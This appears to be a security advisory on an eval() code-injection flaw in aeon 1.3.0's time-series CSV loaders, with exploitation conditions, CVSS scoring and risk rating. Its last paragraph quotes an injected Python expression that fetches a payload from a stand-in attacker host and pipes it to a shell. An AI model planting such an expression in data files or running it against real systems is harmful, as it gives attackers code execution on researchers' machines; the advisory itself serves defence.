aeon EUVD-2026-63435

Exploitation requires that the target user is running aeon version 1.3.0 and directly invokes load_time_series_segmentation_benchmark or load_human_activity_segmentation_datasets on an attacker-controlled CSV file. The vulnerable code path is specifically the pandas CSV column converter for columns identified as np_cols (numpy array columns), which are passed to eval(). The attacker must successfully deliver the malicious CSV to the user - either by hosting it as a fake benchmark dataset, through a repository compromise, or via social engineering. Exploitation is limited by CVSS UI:R: the user must actively load the file with the aeon API; passive network exposure or server-side automated ingestion without human-initiated file loading is not applicable. Code execution is constrained to the privileges of the current user process (S:U, no scope change) - no kernel or cross-user escalation is inherent in the vulnerability.

The CVSS 3.0 base score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) reflects full confidentiality, integrity, and availability impact within the process scope, contingent on user interaction. EPSS data is not provided; given the niche deployment footprint and the requirement for deliberate file loading by a data science user, real-world mass exploitation probability is low despite the high CVSS. There is no CISA KEV listing and no public exploit code at time of analysis. The vulnerability is not remotely exploitable in a server context - it requires a human to invoke the vulnerable function on an attacker-supplied file, making automated scanning or worm-style propagation infeasible. The primary real-world risk is targeted supply-chain or social engineering attacks against ML researchers or data scientists who work with external time series benchmark datasets. The secondary allow_pickle=True fix in rehabpile_loader.py would represent a separate RCE vector via pickle deserialization, but the CVE description focuses on the eval() path. Overall priority is medium for organizations actively using aeon for dataset ingestion from untrusted sources.

An attacker crafts a malicious CSV benchmark dataset where one of the numpy array columns contains an injected Python expression such as __import__('os').system('curl attacker.com/payload | sh'). When a researcher downloads this file and calls load_time_series_segmentation_benchmark on it using aeon 1.3.0, the eval() call in the column converter executes the injected expression, spawning a shell command in the context of the researcher's Python process. No exploit code has been publicly released, but the technique requires no special tooling beyond a text editor to craft the malicious CSV.